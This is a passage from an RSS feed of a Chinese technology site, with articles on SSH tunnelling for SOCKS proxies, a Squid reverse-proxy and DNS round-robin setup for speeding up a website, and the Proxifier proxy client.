/&gt;&lt;/h3&gt;&lt;p&gt;如果我们需要借助一台中间服务器访问很多资源，一个个映射显然不是高明的办法（事实上，高明确实没有用这个方法）。幸好，SSH客户端为我们提供了通过SSH隧道建立SOCKS服务器的功能。&lt;/p&gt;&lt;p&gt;通过下面的命令我们可以建立一个通过123.123.123.123的SOCKS服务器。&lt;/p&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;
ssh -N -f -D 1080 123.123.123 &lt;span class=&quot;c&quot;&gt;&lt;em&gt;&lt;font color=&quot;#8f5902&quot;&gt;# 将端口绑定在127.0.0.1上&lt;/font&gt;&lt;/em&gt;&lt;/span&gt;
ssh -N -f -D 0.0.0.0:1080 123.123.123.123 &lt;span class=&quot;c&quot;&gt;&lt;em&gt;&lt;font color=&quot;#8f5902&quot;&gt;# 将端口绑定在0.0.0.0上&lt;/font&gt;&lt;/em&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;通过SSH建立的SOCKS服务器使用的是SOCKS5协议，在为应用程序设置SOCKS代理的时候要特别注意。&lt;/p&gt;&lt;h3&gt;总结&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;至此，我们已经对如何利用SSH隧道有一个基本的认识了。现在，文章开始时的那些问题应该迎刃而解了吧。这里要特别说一下，由于SSH隧道也使用了SSH加密协议，因此是不会被防火墙上的内容过滤器监控到的。也就是说一切在隧道中传输的数据都是被加密的。当然，离开隧道后的数据还是会保持自己原有的样子，没有加密的数据还是会被后续的路由设备监控到。&lt;/p&gt;&lt;h3&gt;参考文献&lt;br /&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;http://www.openssh.com/&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#2970a6&quot;&gt;OpenSSH网站&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/Introduction-to-SSH-tunneling-technology.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/695/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/Introduction-to-SSH-tunneling-technology.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/695/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/Using-Squid-reverse-proxy-to-improve-website-performance.aspx</link>
		<title>利用 squid 反向代理提高网站性能</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Mon, 05 Sep 2011 01:21:15 GMT</pubDate>
		<description>&lt;p&gt;本文在介绍 squid 反向代理的工作原理的基础上，指出反向代理技术在提高网站访问速度，增强网站可用性、安全性方面有很好的用途。作者在具体的实验环境下，利用 DNS 轮询和 Squid 反向代理技术，实现了网站的负载均衡，从而提高了网站的可用性和可靠性。&lt;/p&gt;&lt;p&gt;现在有许多大型的门户网站如 SINA 都采用 squid 反向代理技术来加速网站的访问速度，可将不同的 URL 请求分发到后台不同的 WEB 服务器上，同时互联网用户只能看到反向代理服务器的地址，加强了网站的访问安全。&lt;/p&gt;&lt;p sizset=&quot;76&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;1.反向代理的概念&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;5&quot;&gt;反向代理的概念&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;反向代理服务器又称为 WEB 加速服务器，它位于 WEB 服务器的前端，充当 WEB 服&lt;/p&gt;&lt;p&gt;务器的内容缓存器。其系统结构如图 1&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a name=&quot;N10061&quot;&gt;&lt;b&gt;&lt;font color=&quot;#000000&quot; size=&quot;2&quot; face=&quot;Arial&quot;&gt;图 1. 系统结构&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;Arial&quot;&gt;&lt;img alt=&quot;系统结构&quot; src=&quot;http://www.517sou.net/Attach/month_1109/moq0tf_093105_1.jpg&quot; width=&quot;380&quot; height=&quot;352&quot; /&gt;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;反向代理服务器是针对 WEB 服务器设置的，后台 WEB 服务器对互联网用户是透明的，用户只能看到反向代理服务器的地址，不清楚后台 WEB 服务器是如何组织架构的。当互联网用户请求 WEB 服务时，DNS 将请求的域名解析为反向代理服务器的 IP 地址，这样 URL 请求将被发送到反向代理服务器，由反向代理服务器负责处理用户的请求与应答、与后台 WEB 服务器交互。利用反向代理服务器减轻了后台 WEB 服务器的负载，提高了访问速度，同时避免了因用户直接与 WEB 服务器通信带来的安全隐患。&lt;/p&gt;&lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;hr /&gt;&lt;/div&gt;&lt;p sizset=&quot;79&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;2.Squid 反向代理的实现原理&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;5&quot;&gt;Squid 反向代理的实现原理&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;目前有许多反向代理软件，比较有名的有 Nginx 和 Squid 。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，是一个高性能的 HTTP 和反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。&lt;/p&gt;&lt;p&gt;&lt;font size=&quot;3&quot;&gt;&lt;code&gt;Squid&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/font&gt;是由美国政府大力资助的一项研究计划，其目的为解决网络带宽不足的问题，支持&lt;code&gt;&lt;font size=&quot;3&quot;&gt;HTTP&lt;/font&gt;&lt;/code&gt;，HTTPS，FTP 等多种协议，是现在 Unix 系统上使用、最多功能也最完整的一套软体。下面将重点介绍 Squid 反向代理的实现原理和在提高网站性能方面的应用。&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;font size=&quot;3&quot;&gt;Squid&lt;/font&gt;&lt;/code&gt;反向代理服务器位于本地 WEB 服务器和 Internet 之间 , 组织架构如图 2：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a name=&quot;N1008E&quot;&gt;&lt;b&gt;&lt;font color=&quot;#000000&quot; size=&quot;2&quot; face=&quot;Arial&quot;&gt;图 2. 组织架构&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;Arial&quot;&gt;&lt;img alt=&quot;组织架构&quot; src=&quot;http://www.517sou.net/Attach/month_1109/qt21jz_093113_2.jpg&quot; width=&quot;419&quot; height=&quot;414&quot; /&gt;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;客户端请求访问 WEB 服务时，DNS 将访问的域名解析为 Squid 反向代理服务器的 IP 地址，这样客户端的 URL 请求将被发送到反向代理服务器。如果 Squid 反向代理服务器中缓存了该请求的资源，则将该请求的资源直接返回给客户端，否则反向代理服务器将向后台的 WEB 服务器请求资源，然后将请求的应答返回给客户端，同时也将该应答缓存在本地，供下一个请求者使用。&lt;/p&gt;&lt;p&gt;Squid 反向代理一般只缓存可缓冲的数据（比如 html 网页和图片等），而一些 CGI 脚本程序或者 ASP、JSP 之类的动态程序默认不缓存。它根据从 WEB 服务器返回的 HTTP 头标记来缓冲静态页面。有四个最重要 HTTP 头标记：&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Last-Modified: 告诉反向代理页面什么时间被修改&lt;/li&gt;&lt;li&gt;Expires: 告诉反向代理页面什么时间应该从缓冲区中删除&lt;/li&gt;&lt;li&gt;Cache-Control: 告诉反向代理页面是否应该被缓冲&lt;/li&gt;&lt;li&gt;Pragma: 用来包含实现特定的指令，最常用的是 Pragma:no-c&lt;font size=&quot;3&quot;&gt;&lt;code&gt;ache&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;font size=&quot;3&quot;&gt;&lt;hr /&gt;&lt;/font&gt;&lt;/div&gt;&lt;p sizset=&quot;82&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;3.利用 Squid 反向代理加速网站实例&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;5&quot;&gt;利用 Squid 反向代理加速网站实例&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;本实例的域名是 wenjin.cache.&lt;code&gt;&lt;font size=&quot;3&quot;&gt;ibm.com.cn&lt;/font&gt;&lt;/code&gt;，通过&lt;code&gt;&lt;font size=&quot;3&quot;&gt;DNS&lt;/font&gt;&lt;/code&gt;的轮询技术，将客户端的请求分发给其中一台 Squid 反向代理服务器处理，如果这台 Squid 缓存了用户的请求资源，则将请求的资源直接返回给用户，否则这台 Squid 将没有缓存的请求根据配置的规则发送给邻居 Squid 和后台的 WEB 服务器处理，这样既减轻后台 WEB 服务器的负载，又提高整个网站的性能和安全性。该系统结构图 3 如下：&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a name=&quot;N100C7&quot;&gt;&lt;b&gt;&lt;font color=&quot;#000000&quot; size=&quot;2&quot; face=&quot;Arial&quot;&gt;图 3. 系统结构&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;Arial&quot;&gt;&lt;img alt=&quot;系统结构&quot; src=&quot;http://www.517sou.net/Attach/month_1109/18hnju_093114_3.jpg&quot; width=&quot;504&quot; height=&quot;378&quot; /&gt;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;&lt;p sizset=&quot;84&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;N100D4&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;3&quot;&gt;配置的系统环境：&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;一台 DNS 服务器：操作系统 Freebsd，软件 BIND 9.5，IP 192.168.76.222 ；&lt;/li&gt;&lt;li&gt;三台 Squid 服务器：操作系统 Linux AS 4，软件 Squid 3.0，相应的 IP 如下：&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;
Squid1：192.168.76.223 
 Squid2：192.168.76.224 
 Squid3：192.168.76.225&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;三台 WEB 服务器：操作系统 Linux AS 4，应用软件 Tomcat 5.0+Mysql，相应的 IP 地址如下：&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;
webServer1：210.82.118.195 
 webServer2：192.168.76.226 
 webServer1：192.168.76.227&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;p sizset=&quot;85&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;N100F0&quot;&gt;&lt;span class=&quot;smalltitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;3&quot;&gt;应用软件的安装和配置&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;配置 DNS 服务器&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;软件利用 Freebsd 自带的 bind 9.5 。然后针对该系统配置 bind，首先修改 bind 的配置文件 /etc/namedb/named.conf，在文件中添加&lt;/p&gt;&lt;p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;
zone &amp;quot;cache.ibm.com.cn&amp;quot;{ 
        type master; 
        file &amp;quot;master/ cache.ibm.com.cn &amp;quot;; 
 };&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;再在 /etc/namedb/master 目录下添加 cache.ibm.com.cn 文件，该文件的内容如下：&lt;/p&gt;&lt;p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;
$TTL    3600 
 @       IN      SOA     search. ibm.com.cn. root. ibm.com.cn.  ( 
                                20080807        ; Serial 
                                3600    ; Refresh 
                                900     ; Retry 
                                3600000 ; Expire 
                                3600 )  ; Minimum 
        IN      NS      search.ibm.com.cn. 
 1       IN      PTR     localhost.ibm.com.cn. 
 wenjin  IN      A       192.168.76.223 
 wenjin  IN      A       192.168.76.224 
 wenjin  IN      A       192.168.76.225&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;这样当用户请求的时候，DNS 通过轮询机制将 wenjin.cache.ibm.com.cn 的域名解析为 192.168.76.223、192.168.76.224 和 192.168.76.225 其中之一。&lt;/p&gt;&lt;p&gt;配置完成后，运行 rndc star t 启动 bind 服务。可在 /etc/rc.conf 中设置 named_enable=&amp;quot;YES&amp;quot; 使得开机自启动。&lt;/p&gt;&lt;p&gt;用 ps – A |grep named 查看 bind 服务是否起来；&lt;/p&gt;&lt;p&gt;用 nslookup wenjin.cache.ibm.com.cn 测试 bind 服务是否正常运行。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;配置 Squid1 服务器&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;下载 squid-3.0.STABLE8.tar.gz 源码包，将其放在 /home 目录下&lt;/li&gt;&lt;li&gt;解压缩&lt;code&gt;&lt;font size=&quot;3&quot;&gt;tar – zxvf squid-3.0.STABLE8.tar.gz&lt;/font&gt;&lt;/code&gt;&lt;br /&gt;设置配置参数：&lt;code&gt;&lt;font size=&quot;3&quot;&gt;cd squid-3.0.STABLE10&lt;/font&gt;&lt;/code&gt;&lt;br /&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycodeliquid&quot;&gt;
./configure – prefix=/usr/local/squid&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;将 squid 安装在 /usr/local 目录下&lt;/li&gt;&lt;li&gt;编译安装：&lt;code&gt;&lt;font size=&quot;3&quot;&gt;make&amp;amp;make install&lt;/font&gt;&lt;/code&gt;安装完以后会在 /usr/local 目录下看见 squid 目录。&lt;/li&gt;&lt;li&gt;配置 squid 配置文件 &lt;p&gt;编辑 squid.conf 文件，&lt;code&gt;&lt;font size=&quot;3&quot;&gt;vi /usr/local/squid/etc/squid.conf&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycodeliquid&quot;&gt;
cache_effective_user squid 
 cache_effective_group squid 
 ######### 设定 squid 的主机名 , 如无此项 squid 将无法启动
 visible_hostname squid1.nlc.gov.cn 
 ############# 配置 squid 为加速模式 ################# 
 http_port 80 accel vhost vport 
 icp_port 3130 
 ##### 配置 squid2、squid3 为其邻居，当 squid1 在其缓存中没有找到请求的资源时，
          通过 ICP 查询去其邻居中取得缓存
 cache_peer squid2.ibm.com.cn sibling 80 3130 
 cache_peer squid3.ibm.com.cn sibling 80 3130 
 ##### squid1 的三个父节点，originserver 参数指明是源服务器，
 round-robin  参数指明 squid 通过轮询方式将请求分发到其中一台父节点；
 squid 同时会对这些父节点的健康状态进行检查，如果父节点 down 了，
那么 squid 会从剩余的 origin 服务器中抓取数据
 cache_peer 210.82.118.195 parent 8080 0 no-query originserver round-robin \ 
                                              name=webServer1 
 cache_peer 192.168.76.226 parent 8080 0 no-query originserver round-robin \ 
                                              name=webServer2 
 cache_peer 192.168.76.227 parent 8080 0 no-query originserver round-robin \ 
                                            name=webServer3 
 #### 将 wenjin.cache.ibm.com.cn 域的请求通过 RR 轮询方式转发到三个父节点中的一个
 cache_peer_domain webServer1 webServer2 webServer3 wenjin.cache.ibm.com.cn 
 ##### 下面是一些访问控制、日志和缓存目录的设置
 acl localnet src 192.168.76.223 192.168.76.224 192.168.76.225 
 acl all src 0.0.0.0/0.0.0.0 
 http_access allow all 
 icp_access allow localnet 
 cache_log /usr/local/squid/var/logs/cache.log 
 access_log /usr/local/squid/var/logs/access.log squid 
 cache_dir ufs /usr/local/squid/var/cache/ 1000 16 256 
 ####### 对 squid 的一些优化 ############### 
 maximum_object_size 10240 KB  ### 能缓存的最大对象为 10M 
 maximum_object_size_in_memory 512 KB ### 内存中缓存的最大对象 512K 
 cache_mem 256 MB  ###squid 用于缓存的内存量&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;保存后 :wq 退出。&lt;/p&gt;&lt;p&gt;在 /etc/hosts 文件中添加&lt;/p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycodeliquid&quot;&gt;
192.168.76.223  squid1.ibm.com.cn 
 192.168.76.224  squid2.ibm.com.cn 
 192.168.76.225  squid3.ibm.com.cn&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;保存后 : wq 退出。&lt;/p&gt;&lt;p&gt;检查 squid 配置文件正确与否：&lt;code&gt;&lt;font size=&quot;3&quot;&gt;/usr/local/squid/bin/squid – k parse&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;生成缓存目录&lt;code&gt;&lt;font size=&quot;3&quot;&gt;/usr/local/squid/bin/squid – z&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;启动&lt;code&gt;&lt;font size=&quot;3&quot;&gt;squid：/usr/local/squid/bin/squid&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;配置 squid2 和 squid3 服务器&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;squid2 和 squid3 服务器的配置方法和配置参数和 squid1 一样，配置完成后，分别启动这两个服务器上的 squid 服务。&lt;/p&gt;&lt;p&gt;在 squid 的日志文件 cache.log 中，出现如下日志信息则说明三台 squid 之间成功配置为 sibling，且配置了三个父代理。&lt;/p&gt;&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycodeliquid&quot;&gt;
2008/11/17 10:08:47| Configuring Sibling squid1.ibm.com.cn/80/3130 
 2008/11/17 10:08:47| Configuring Sibling squid3.ibm.com.cn/80/3130 
 2008/11/17 10:08:47| Configuring Parent 210.82.118.195/8080/0 
 2008/11/17 10:08:47| Configuring Parent 192.168.76.226/8080/0 
 2008/11/17 10:08:47| Configuring Parent 192.168.76.227/8080/0 
 2008/11/17 10:08:47| Ready to serve requests.&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;测试&lt;/strong&gt;&lt;/p&gt;&lt;p sizset=&quot;86&quot; sizcache=&quot;23&quot;&gt;测试之前，保证 DNS 服务、三台 squid 服务和三台 web 服务都正常起来。在客户端输入&lt;a href=&quot;http://wenjin.cache.nlc.gov.cn/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#4c6e94&quot;&gt;http://wenjin.cache.ibm.com.cn&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;，则正确的显示该网页。服务器端的响应对客户端是透明的，客户端不知道请求是由哪台 WEB 服务器处理的；而且其中某台 Squid 服务器或 WEB 服务器发生故障，也不影响服务的正常运行。&lt;/p&gt;&lt;div class=&quot;ibm-alternate-rule&quot;&gt;&lt;hr /&gt;&lt;/div&gt;&lt;p sizset=&quot;88&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;总结&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;5&quot;&gt;总结&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Squid 是一个开源的软件，利用它的反向代理技术可以提高网站系统的访问速度。本文在真实的网络环境下，利用三台 squid 反向代理服务器加速了网站的性能，同时结合 DNS 轮询技术实现了网站的负载均衡。经过一段时间的测试和试运行，该网站的访问速度和可用性方面都有很大的提高，从未出现过网站服务中断情况。&lt;br /&gt;&lt;/p&gt;&lt;p sizset=&quot;97&quot; sizcache=&quot;23&quot;&gt;&lt;a name=&quot;author&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;&lt;strong&gt;&lt;font color=&quot;#000000&quot; size=&quot;5&quot;&gt;关于作者&lt;/font&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;ibm-container ibm-portrait-module ibm-alternate-two&quot; sizset=&quot;98&quot; sizcache=&quot;23&quot;&gt;&lt;div class=&quot;ibm-container-body&quot; sizset=&quot;98&quot; sizcache=&quot;23&quot;&gt;&lt;p sizset=&quot;98&quot; sizcache=&quot;23&quot;&gt;李明慧 ，在 IBM 中国软件开发中心 BI 团队工作从事 InfoSphere Warehouse Administration Console 的功能测试工作。曾在 DeveloperWorks 发表《将 DB2 DWE 9.1.X 迁移到 DB2 Warehouse 9.5》、《 InfoSphere Warehouse SQL 仓储命令行接口》以及《Linux下利用 squid 反向代理提高网站性能》等文章。&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;</description>
		<guid>http://www.517sou.net/Article/Using-Squid-reverse-proxy-to-improve-website-performance.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/667/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/Using-Squid-reverse-proxy-to-improve-website-performance.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/667/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/proxifier.aspx</link>
		<title>proxifier</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Thu, 25 Aug 2011 10:16:57 GMT</pubDate>
		<description>&lt;p&gt;&lt;b&gt;&lt;span class=&quot;headline-content&quot;&gt;概念&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;　　Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过&lt;a href=&quot;http://baike.baidu.com/view/751.htm&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#136ec2&quot;&gt;代理服务器&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;工作的网络程序能通过HTTPS或SOCKS代理或代理链。支持 64位系统，支持Xp，Vista，Win7，支持socks4，socks5，http代理协议，支持TCP，UDP协议，可以指定端口，指定IP，指定程序等运行模式，兼容性非常好。有点类似SOCKSCAP。 &lt;/p&gt;&lt;h2 class=&quot;headline-1 bk-sidecatalog-title&quot;&gt;&lt;span class=&quot;headline-content&quot;&gt;作用&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;　　有许多网络&lt;u&gt;&lt;font color=&quot;#136ec2&quot;&gt;应用程序&lt;/font&gt;&lt;/u&gt;不支持通过代理服务器工作，因此不能用于局域网或&lt;u&gt;&lt;font color=&quot;#136ec2&quot;&gt;防火墙&lt;/font&gt;&lt;/u&gt;后面。这些会损害公司的隐私和导致很多限制。Proxifier解决了这些问题和所有限制，让您有机会不受任何限制使用你喜爱的&lt;u&gt;&lt;font color=&quot;#136ec2&quot;&gt;软件&lt;/font&gt;&lt;/u&gt;。 此外，它让你获得了额外的网络安全控制，创建代理隧道，并添加使用更多网络功能的权力。&lt;/p&gt;&lt;h2 class=&quot;headline-1 bk-sidecatalog-title&quot;&gt;&lt;span class=&quot;headline-content&quot;&gt;配置&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;　　1、添加代理：&lt;/p&gt;&lt;p&gt;　　运行软件，打开软件主界面。选择option–&amp;gt;proxy setting,点击右侧的Add添加代理，在弹出的窗口中添加你的代理。如果你的代理需要验证，在setting部分填入用户名和密码。添加完成后可以检查代理的可用性。&lt;/p&gt;&lt;p&gt;　　2、设置代理规则&lt;/p&gt;&lt;p&gt;　　运行软件，打开软件主界面。选择option–&amp;gt;proxification Rules,在打开的窗口中选择哪些软件使用该代理访问网络，默认是全部软件都通过该代理访问网络，对于本机localhost的访问除外。&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/proxifier.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/652/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/proxifier.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/652/Feeds.ashx</wfw:commentRss>
	</item>
</channel>
</rss>
